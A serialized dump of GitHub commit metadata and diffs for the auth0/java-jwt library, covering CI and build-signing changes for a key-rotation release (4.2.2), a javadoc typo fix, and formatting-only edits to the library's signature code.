wt/commit/e3e9341acd44b018085375c5b3922a0abc118d5fu}(j6  (b4fae643ad27ed5efb28a12da7ac7d52f9917706jN  \https://api.github.com/repos/auth0/java-jwt/commits/b4fae643ad27ed5efb28a12da7ac7d52f9917706j\  Qhttps://github.com/auth0/java-jwt/commit/b4fae643ad27ed5efb28a12da7ac7d52f9917706uestats}(totalK&	additionsK
	deletionsKufiles](}(j6  (1675c39fbd79cf6eba87148e42511922dfdefdd4filename.circleci/config.ymlstatusmodifiedj  K j  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/f1cecbd069a576a547cae376e38a609a5e50999e/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/f1cecbd069a576a547cae376e38a609a5e50999e/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=f1cecbd069a576a547cae376e38a609a5e50999epatchX  @@ -1,6 +1,5 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@0
   codecov: codecov/codecov@3
 
 commands:
@@ -57,17 +56,6 @@ workflows:
   build-and-test:
     jobs:
       - build
-      - ship/java-publish:
-          prefix-tag: false
-          context:
-            - publish-gh
-            - publish-sonatype
-          filters:
-            branches:
-              only:
-                - master
-          requires:
-            - build
   api-diff:
     jobs:
       - api-diffu}(j6  (eaf3feec2b3755bab1128e719f293a26e39fb72cj  CHANGELOG.mdj  modifiedj  Kj  K j  Kj  \https://github.com/auth0/java-jwt/blob/f1cecbd069a576a547cae376e38a609a5e50999e/CHANGELOG.mdj  [https://github.com/auth0/java-jwt/raw/f1cecbd069a576a547cae376e38a609a5e50999e/CHANGELOG.mdj  nhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=f1cecbd069a576a547cae376e38a609a5e50999ej  Xs  @@ -1,5 +1,11 @@
 # Change Log
 
+## [4.2.2](https://github.com/auth0/java-jwt/tree/4.2.2) (2023-01-11)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.2.1...4.2.2)
+
+This patch release does not contain any functional changes, but is being released using an updated signing key for verification as part of our commitment to best security practices.
+Please review [the README note for additional details.](https://github.com/auth0/java-jwt/blob/master/README.md)
+
 ## [4.2.1](https://github.com/auth0/java-jwt/tree/4.2.1) (2022-10-24)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/4.2.0...4.2.1)
 u}(j6  (8583ed7af489606f15a387b99c3dcc4bab2d32e6j  	README.mdj  modifiedj  Kj  Kj  K	j  Yhttps://github.com/auth0/java-jwt/blob/f1cecbd069a576a547cae376e38a609a5e50999e/README.mdj  Xhttps://github.com/auth0/java-jwt/raw/f1cecbd069a576a547cae376e38a609a5e50999e/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=f1cecbd069a576a547cae376e38a609a5e50999ej  X  @@ -1,3 +1,8 @@
+> **Note**
+> As part of our ongoing commitment to best security practices, we have rotated the signing keys used to sign previous releases of this SDK. As a result, new patch builds have been released using the new signing key. Please upgrade at your earliest convenience.
+>
+> While this change won't affect most developers, if you have implemented a dependency signature validation step in your build process, you may notice a warning that past releases can't be verified. This is expected, and a result of the key rotation process. Updating to the latest version will resolve this for you.
+
 ![A Java implementation of JSON Web Token (JWT) - RFC 7519.](https://cdn.auth0.com/website/sdks/banners/java-jwt-banner.png)
 
 [![CircleCI](https://img.shields.io/circleci/project/github/auth0/java-jwt.svg?style=flat-square)](https://circleci.com/gh/auth0/java-jwt/tree/master)
@@ -45,14 +50,14 @@ Add the dependency via Maven:
 <dependency>
   <groupId>com.auth0</groupId>
   <artifactId>java-jwt</artifactId>
-  <version>4.2.1</version>
+  <version>4.2.2</version>
 </dependency>
 ```
 
 or Gradle:
 
 ```gradle
-implementation 'com.auth0:java-jwt:4.2.1'
+implementation 'com.auth0:java-jwt:4.2.2'
 ```
 
 ### Create a JWTu}(j6  (6b2fdfe3da18f1c07b06bd3ea8caf030369159a1j  lib/build.gradlej  modifiedj  K j  Kj  Kj  bhttps://github.com/auth0/java-jwt/blob/f1cecbd069a576a547cae376e38a609a5e50999e/lib%2Fbuild.gradlej  ahttps://github.com/auth0/java-jwt/raw/f1cecbd069a576a547cae376e38a609a5e50999e/lib%2Fbuild.gradlej  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=f1cecbd069a576a547cae376e38a609a5e50999ej  X  @@ -1,6 +1,3 @@
-buildscript {
-    version = "4.2.1"
-}
 
 plugins {
     id 'java'
@@ -9,13 +6,6 @@ plugins {
     id 'checkstyle'
 }
 
-def signingKey = findProperty('signingKey')
-def signingKeyPwd = findProperty('signingPassword')
-
-signing {
-    useInMemoryPgpKeys(signingKey, signingKeyPwd)
-}
-
 checkstyle {
     toolVersion '10.0'
     checkstyleTest.enabled = false //We are disabling lint checks for tests
@@ -29,7 +19,6 @@ oss {
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
     baselineCompareVersion "4.1.0"
-    skipAssertSigningConfiguration true
 
     developers {
         auth0 {ueu(7a97e4040d29c518e539aad9db514c86db79c82e}(sha(7a97e4040d29c518e539aad9db514c86db79c82enode_idEC_kwDOAQtL0doAKDdhOTdlNDA0MGQyOWM1MThlNTM5YWFkOWRiNTE0Yzg2ZGI3OWM4MmUcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-24T21:52:04Zu	committer}(jѵ  GitHubjӵ  noreply@github.comjյ  2022-10-24T21:52:04ZumessageXUpdate to the latest ship orb version (v3) (#633)

Update to the latest ship orb versiontree}(jɵ  (17eb670ae6538e05373c69356c235057f732a2f4url^https://api.github.com/repos/auth0/java-jwt/git/trees/17eb670ae6538e05373c69356c235057f732a2f4uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/7a97e4040d29c518e539aad9db514c86db79c82e
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjVwkECRBK7hj4Ov3rIwAAgZIIAKStvH9oGgufeKdbl8bOvDvy
vO93SivBaobEg5lL4Gbp+0K6RzISTn8in88PQkgmkmgB1lXic3PEPlTiJNY62zAh
AZZVqCZ3Gk9E5xPIGgyP5ta/69v0O1Xo0hZAp7eFNGu4KRav10a/khTciGXEPand
EdUL/pVcxN9Xejfiwqw+khEet0fYeqF4Yj+btx2qlpjOn6Y9o9cs7g6ptj3vpbk7
9wOmQizCti3g//ufc8u7FjidU6Z67Ml4q/rnBRzYFer3Ug13AOiIvNvuXgebVG1M
eDqKyLqe1nvojlk8okZMZvpbgu6vjRFSO6paEk8zdQ0Sb8bFIZt4J7gsDcslYSI=
=APn0
-----END PGP SIGNATURE-----
payloadX,  tree 17eb670ae6538e05373c69356c235057f732a2f4
parent 8eaa95da4d6db9d613e19026437d1b405d7c175f
author Jim Anderson <jim.anderson@auth0.com> 1666648324 -0500
committer GitHub <noreply@github.com> 1666648324 -0500

Update to the latest ship orb version (v3) (#633)

Update to the latest ship orb versionuuj  \https://api.github.com/repos/auth0/java-jwt/commits/7a97e4040d29c518e539aad9db514c86db79c82ehtml_urlQhttps://github.com/auth0/java-jwt/commit/7a97e4040d29c518e539aad9db514c86db79c82ecomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/7a97e4040d29c518e539aad9db514c86db79c82e/commentsjϵ  }(login
jimmyjamesidJ7 j˵  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj׵  }(j  web-flowj  J/j˵  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj	  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j
  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(jɵ  (8eaa95da4d6db9d613e19026437d1b405d7c175fj  \https://api.github.com/repos/auth0/java-jwt/commits/8eaa95da4d6db9d613e19026437d1b405d7c175fj  Qhttps://github.com/auth0/java-jwt/commit/8eaa95da4d6db9d613e19026437d1b405d7c175fuastats}(totalK	additionsK	deletionsKufiles]}(jɵ  (a2ad05168da48dfd7667c43b6b87479a5ee45edffilename.circleci/config.ymlstatusmodifiedj+  Kj,  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/7a97e4040d29c518e539aad9db514c86db79c82e/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/7a97e4040d29c518e539aad9db514c86db79c82e/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=7a97e4040d29c518e539aad9db514c86db79c82epatch@@ -1,6 +1,6 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@0.7.2
+  ship: auth0/ship@0
   codecov: codecov/codecov@3
 
 commands:uau(9e4408706f56e17e10f66202630b5a161401add7}(sha(9e4408706f56e17e10f66202630b5a161401add7node_idEC_kwDOAQtL0doAKDllNDQwODcwNmY1NmUxN2UxMGY2NjIwMjYzMGI1YTE2MTQwMWFkZDccommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-02-02T15:24:17Zu	committer}(jH  GitHubjJ  noreply@github.comjL  2022-02-02T15:24:17ZumessageRMerge pull request #525 from fml2/patch-1

docs: Fix a typo in the javadoc commenttree}(j@  (93e133cba51d30a21ccdc332fb6f5bc70304c581url^https://api.github.com/repos/auth0/java-jwt/git/trees/93e133cba51d30a21ccdc332fb6f5bc70304c581ujX  `https://api.github.com/repos/auth0/java-jwt/git/commits/9e4408706f56e17e10f66202630b5a161401add7
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJh+qIhCRBK7hj4Ov3rIwAA42oIAHvzJxoTD8TNNgoRk/UGxw76
oSizNMLSTWECoVbuzCgs/W2yCuJkH2X5CHZKYNHNP5ef1xlbyOyDaheLhvhuy580
qbVublDrFuT240VLYE90WkEW83WSpModjdKHX9/PMwxDiRcun8FYX9LuuQSu5UUF
LpVXLFHNCL4H++5wVw/meWdAru02j/XWJ00cpQSlescoCze2DijPOpDZm06diya3
9NPNSt8tH91aXd+683flrG+mCUHzT7v8aFGZEGfuplzvLGUIdOnm9ZnvnnlD08PQ
oDgMvomoffwTj4jq/4JdXuni9sV/P4/FpNAxdND6SArvxN/bONofp/KBnFrWL8c=
=sT6g
-----END PGP SIGNATURE-----
payloadXV  tree 93e133cba51d30a21ccdc332fb6f5bc70304c581
parent b2cd7435712f270b10686e8cceb19dd7e9428366
parent b1f44483df828fb7ba2baf47242bb7f0d95df03d
author Jim Anderson <jim.anderson@auth0.com> 1643815457 -0600
committer GitHub <noreply@github.com> 1643815457 -0600

Merge pull request #525 from fml2/patch-1

docs: Fix a typo in the javadoc commentuujX  \https://api.github.com/repos/auth0/java-jwt/commits/9e4408706f56e17e10f66202630b5a161401add7html_urlQhttps://github.com/auth0/java-jwt/commit/9e4408706f56e17e10f66202630b5a161401add7comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/9e4408706f56e17e10f66202630b5a161401add7/commentsjF  }(login
jimmyjamesidJ7 jB  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jX  'https://api.github.com/users/jimmyjamesjf  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujN  }(jk  web-flowjm  J/jB  MDQ6VXNlcjE5ODY0NDQ3jo  4https://avatars.githubusercontent.com/u/19864447?v=4jq  h3jX  %https://api.github.com/users/web-flowjf  https://github.com/web-flowjt  /https://api.github.com/users/web-flow/followersjv  <https://api.github.com/users/web-flow/following{/other_user}jx  5https://api.github.com/users/web-flow/gists{/gist_id}jz  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j|  3https://api.github.com/users/web-flow/subscriptionsj~  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(j@  (b2cd7435712f270b10686e8cceb19dd7e9428366jX  \https://api.github.com/repos/auth0/java-jwt/commits/b2cd7435712f270b10686e8cceb19dd7e9428366jf  Qhttps://github.com/auth0/java-jwt/commit/b2cd7435712f270b10686e8cceb19dd7e9428366u}(j@  (b1f44483df828fb7ba2baf47242bb7f0d95df03djX  \https://api.github.com/repos/auth0/java-jwt/commits/b1f44483df828fb7ba2baf47242bb7f0d95df03djf  Qhttps://github.com/auth0/java-jwt/commit/b1f44483df828fb7ba2baf47242bb7f0d95df03duestats}(totalK	additionsK	deletionsKufiles]}(j@  (49e922d00e5832b486bf5d17a6e20264fb7cf5d6filename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedj  Kj  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/9e4408706f56e17e10f66202630b5a161401add7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/9e4408706f56e17e10f66202630b5a161401add7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=9e4408706f56e17e10f66202630b5a161401add7patchX  @@ -14,7 +14,7 @@
 import java.util.stream.Collectors;
 
 /**
- * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format, but also it's signature matches.
+ * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format, but also its signature matches.
  * <p>
  * This class is thread-safe.
  */uau(a3b2d874c853319841f56ea92acbf3650f938f84}(sha(a3b2d874c853319841f56ea92acbf3650f938f84node_idEC_kwDOAQtL0doAKGEzYjJkODc0Yzg1MzMxOTg0MWY1NmVhOTJhY2JmMzY1MGY5MzhmODQcommit}(author}(nameAntónio Pedro Santosemailaps@dnxt.ptdate2022-09-26T05:15:47Zu	committer}(jö  António Pedro SantosjŶ  aps@dnxt.ptjǶ  2022-09-26T05:15:47Zumessage6Fix source formatting according to the rules this timetree}(j  (a97c7cda9a5d51ecb09d21619f683ce09177824burl^https://api.github.com/repos/auth0/java-jwt/git/trees/a97c7cda9a5d51ecb09d21619f683ce09177824bujӶ  `https://api.github.com/repos/auth0/java-jwt/git/commits/a3b2d874c853319841f56ea92acbf3650f938f84
comment_countK verification}(verifiedreasonvalid	signature-----BEGIN PGP SIGNATURE-----

iHUEABYKAB0WIQS/x9KuztyA3mLS2S8QJVoVuKaCBgUCYzE1gwAKCRAQJVoVuKaC
BqyGAQDBErlh4d4JGM7kJGIhS2mnWQScUoMNkVvGfovqCNCRqwD9GeHNGFXjyjyS
U+G3A5cH11q5pSGMWfcL/vHX8KQBPw8=
=zT06
-----END PGP SIGNATURE-----payloadX  tree a97c7cda9a5d51ecb09d21619f683ce09177824b
parent dff64ea5096e68c1021e961a292086076bf9678e
author António Pedro Santos <aps@dnxt.pt> 1664169347 +0100
committer António Pedro Santos <aps@dnxt.pt> 1664169347 +0100

Fix source formatting according to the rules this time
uujӶ  \https://api.github.com/repos/auth0/java-jwt/commits/a3b2d874c853319841f56ea92acbf3650f938f84html_urlQhttps://github.com/auth0/java-jwt/commit/a3b2d874c853319841f56ea92acbf3650f938f84comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/a3b2d874c853319841f56ea92acbf3650f938f84/commentsj  }(loginaps-dnxtidJj  MDQ6VXNlcjc3NDYxNDA0
avatar_url4https://avatars.githubusercontent.com/u/77461404?v=4gravatar_idh3jӶ  %https://api.github.com/users/aps-dnxtj  https://github.com/aps-dnxt
followers_url/https://api.github.com/users/aps-dnxt/followers
following_url<https://api.github.com/users/aps-dnxt/following{/other_user}	gists_url5https://api.github.com/users/aps-dnxt/gists{/gist_id}starred_url<https://api.github.com/users/aps-dnxt/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/aps-dnxt/subscriptionsorganizations_url*https://api.github.com/users/aps-dnxt/orgs	repos_url+https://api.github.com/users/aps-dnxt/repos
events_url6https://api.github.com/users/aps-dnxt/events{/privacy}received_events_url5https://api.github.com/users/aps-dnxt/received_eventstypeUser
site_adminujɶ  }(j  aps-dnxtj  Jj  MDQ6VXNlcjc3NDYxNDA0j  4https://avatars.githubusercontent.com/u/77461404?v=4j  h3jӶ  %https://api.github.com/users/aps-dnxtj  https://github.com/aps-dnxtj  /https://api.github.com/users/aps-dnxt/followersj  <https://api.github.com/users/aps-dnxt/following{/other_user}j  5https://api.github.com/users/aps-dnxt/gists{/gist_id}j  <https://api.github.com/users/aps-dnxt/starred{/owner}{/repo}j  3https://api.github.com/users/aps-dnxt/subscriptionsj  *https://api.github.com/users/aps-dnxt/orgsj  +https://api.github.com/users/aps-dnxt/reposj  6https://api.github.com/users/aps-dnxt/events{/privacy}j  5https://api.github.com/users/aps-dnxt/received_eventsj  Userj  uparents]}(j  (dff64ea5096e68c1021e961a292086076bf9678ejӶ  \https://api.github.com/repos/auth0/java-jwt/commits/dff64ea5096e68c1021e961a292086076bf9678ej  Qhttps://github.com/auth0/java-jwt/commit/dff64ea5096e68c1021e961a292086076bf9678euastats}(totalK6	additionsK 	deletionsKufiles](}(j  (f2fc577e02487b7068841deeed76fa071939e1e3filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj  Kj  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/a3b2d874c853319841f56ea92acbf3650f938f84/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/a3b2d874c853319841f56ea92acbf3650f938f84/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=a3b2d874c853319841f56ea92acbf3650f938f84patchX  @@ -559,6 +559,8 @@ public String sign(Algorithm algorithm) throws IllegalArgumentException, JWTCrea
          * @throws IllegalArgumentException if the provided algorithm is null.
          * @throws JWTCreationException     if the claims could not be converted to a valid JSON
          *                                  or there was a problem with the signing key.
+         * @throws NoSuchProviderException  if a provider with providerName name cannot be found with
+         *                                  {@link Security#getProvider(String)}
          */
         public String sign(Algorithm algorithm, String providerName)
                 throws IllegalArgumentException, JWTCreationException, NoSuchProviderException {u}(j  (f92e696246d68feff94436d2d2f0ef59cc779949j#  <lib/src/main/java/com/auth0/jwt/algorithms/CryptoHelper.javaj%  modifiedj  Kj  Kj'  K#j(  https://github.com/auth0/java-jwt/blob/a3b2d874c853319841f56ea92acbf3650f938f84/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javaj*  https://github.com/auth0/java-jwt/raw/a3b2d874c853319841f56ea92acbf3650f938f84/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javaj,  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.java?ref=a3b2d874c853319841f56ea92acbf3650f938f84j.  X  @@ -34,8 +34,8 @@ boolean verifySignatureFor(
             String payload,
             byte[] signatureBytes
     ) throws NoSuchAlgorithmException, InvalidKeyException, NoSuchProviderException {
-        return this.verifySignatureFor(algorithm, secretBytes,
-                header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), signatureBytes, (Provider) null);
+        return this.verifySignatureFor(algorithm, secretBytes, header.getBytes(StandardCharsets.UTF_8),
+                payload.getBytes(StandardCharsets.UTF_8), signatureBytes, (Provider) null);
     }
 
     /**
@@ -66,7 +66,8 @@ boolean verifySignatureFor(
         }
 
         return this.verifySignatureFor(algorithm, secretBytes,
-                header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), signatureBytes, provider);
+                header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), signatureBytes,
+                provider);
     }
 
     /**
@@ -91,8 +92,8 @@ boolean verifySignatureFor(
             byte[] signatureBytes,
             Provider cryptoProvider
     ) throws NoSuchAlgorithmException, InvalidKeyException, NoSuchProviderException {
-        return verifySignatureFor(algorithm, secretBytes,
-                header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), signatureBytes, cryptoProvider);
+        return verifySignatureFor(algorithm, secretBytes, header.getBytes(StandardCharsets.UTF_8),
+                payload.getBytes(StandardCharsets.UTF_8), signatureBytes, cryptoProvider);
     }
 
     /**
@@ -115,8 +116,8 @@ boolean verifySignatureFor(
             byte[] payloadBytes,
             byte[] signatureBytes
     ) throws NoSuchAlgorithmException, InvalidKeyException {
-        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, headerBytes, payloadBytes, (Provider) null),
-                signatureBytes);
+        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, headerBytes, payloadBytes,
+                (Provider) null), signatureBytes);
     }
 
     /**
@@ -172,8 +173,8 @@ boolean verifySignatureFor(
             byte[] signatureBytes,
             Provider cryptoProvider
     ) throws NoSuchAlgorithmException, InvalidKeyException {
-        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, headerBytes, payloadBytes, cryptoProvider),
-                signatureBytes);
+        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, headerBytes, payloadBytes,
+                cryptoProvider), signatureBytes);
     }
 
     /**
@@ -273,8 +274,8 @@ boolean verifySignatureFor(
             byte[] payloadBytes,
             byte[] signatureBytes
     ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
-
-        return this.verifySignatureFor(algorithm, publicKey, headerBytes, payloadBytes, signatureBytes, (Provider) null);
+        return this.verifySignatureFor(algorithm, publicKey, headerBytes, payloadBytes, signatureBytes,
+                (Provider) null);
     }
 
     /**
@@ -327,7 +328,9 @@ boolean verifySignatureFor(
             byte[] signatureBytes,
             Provider cryptoProvider
     ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
-        final Signature s = cryptoProvider != null ? Signature.getInstance(algorithm, cryptoProvider) : Signature.getInstance(algorithm);
+        final Signature s = cryptoProvider != null
+                ? Signature.getInstance(algorithm, cryptoProvider)
+                : Signature.getInstance(algorithm);
         s.initVerify(publicKey);
         s.update(headerBytes);
         s.update(JWT_PART_SEPARATOR);
@@ -392,8 +395,8 @@ byte[] createSignatureFor(
      * @param privateKey     the private key to use for signing.
      * @param headerBytes    JWT header.
      * @param payloadBytes   JWT payload.
-     * @param cryptoProvider The crypto provider to use. If <i>null</i> is given, then the default security provider will be
-     *                       used ({@link  Security#getProviders()})
+     * @param cryptoProvider The crypto provider to use. If <i>null</i> is given, then the default security provider
+     *                       will be used ({@link  Security#getProviders()}).
      * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
      * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
@@ -548,7 +551,9 @@ byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBy
      */
     byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes, Provider cryptoProvider)
             throws NoSuchAlgorithmException, InvalidKeyException {
-        final Mac mac = cryptoProvider != null ? Mac.getInstance(algorithm, cryptoProvider) : Mac.getInstance(algorithm);
+        final Mac mac = cryptoProvider != null
+                ? Mac.getInstance(algorithm, cryptoProvider)
+                : Mac.getInstance(algorithm);
         mac.init(new SecretKeySpec(secretBytes, algorithm));
         return mac.doFinal(contentBytes);
     }u}(j  (56ed0c86efc49972d564195d4724da0f22b52050j#  >lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javaj%  modifiedj  Kj  Kj'  Kj(  https://github.com/auth0/java-jwt/blob/a3b2d874c853319841f56ea92acbf3650f938f84/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj*  https://github.com/auth0/java-jwt/raw/a3b2d874c853319841f56ea92acbf3650f938f84/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj,  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=a3b2d874c853319841f56ea92acbf3650f938f84j.  X  @@ -79,8 +79,8 @@ public void verify(DecodedJWT jwt, Provider cryptoProvider) throws SignatureVeri
                 throw new IllegalStateException("The given Public Key is null.");
             }
             validateSignatureStructure(signatureBytes, publicKey);
-            boolean valid = crypto.verifySignatureFor(
-                    getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), JOSEToDER(signatureBytes), cryptoProvider);
+            boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(),
+                    JOSEToDER(signatureBytes), cryptoProvider);
 
             if (!valid) {
                 throw new SignatureVerificationException(this);u}(j  (70fb6856eb824bde275087a801d7bfd5b5b0982ej#  =lib/src/main/java/com/auth0/jwt/algorithms/HMACAlgorithm.javaj%  modifiedj  Kj  Kj'  K
j(  https://github.com/auth0/java-jwt/blob/a3b2d874c853319841f56ea92acbf3650f938f84/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javaj*  https://github.com/auth0/java-jwt/raw/a3b2d874c853319841f56ea92acbf3650f938f84/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javaj,  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.java?ref=a3b2d874c853319841f56ea92acbf3650f938f84j.  X	  @@ -60,8 +60,8 @@ public void verify(DecodedJWT jwt, Provider cryptoProvider) throws SignatureVeri
             if (!valid) {
                 throw new SignatureVerificationException(this);
             }
-        } catch (IllegalStateException | InvalidKeyException | NoSuchAlgorithmException | IllegalArgumentException |
-                 NoSuchProviderException e) {
+        } catch (IllegalStateException | InvalidKeyException | NoSuchAlgorithmException | IllegalArgumentException
+                 | NoSuchProviderException e) {
             throw new SignatureVerificationException(this, e);
         }
     }
@@ -72,7 +72,8 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
     }
 
     @Override
-    public byte[] sign(byte[] headerBytes, byte[] payloadBytes, String providerName) throws SignatureGenerationException, NoSuchProviderException {
+    public byte[] sign(byte[] headerBytes, byte[] payloadBytes, String providerName)
+            throws SignatureGenerationException, NoSuchProviderException {
         Provider provider = Security.getProvider(providerName);
         if (provider == null) {
             throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
@@ -82,7 +83,8 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes, String providerName)
     }
 
     @Override
-    public byte[] sign(byte[] headerBytes, byte[] payloadBytes, Provider cryptoProvider) throws SignatureGenerationException {
+    public byte[] sign(byte[] headerBytes, byte[] payloadBytes, Provider cryptoProvider)
+            throws SignatureGenerationException {
         try {
             return this.crypto.createSignatureFor(getDescription(), secret, headerBytes, payloadBytes, (Provider) null);
         } catch (NoSuchAlgorithmException | InvalidKeyException e) {
@@ -101,7 +103,8 @@ public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
      * @param providerName the cryptographic provider name
      */
     @Override
-    public byte[] sign(byte[] contentBytes, String providerName) throws SignatureGenerationException, NoSuchProviderException {
+    public byte[] sign(byte[] contentBytes, String providerName)
+            throws SignatureGenerationException, NoSuchProviderException {
         Provider provider = Security.getProvider(providerName);
         if (provider == null) {
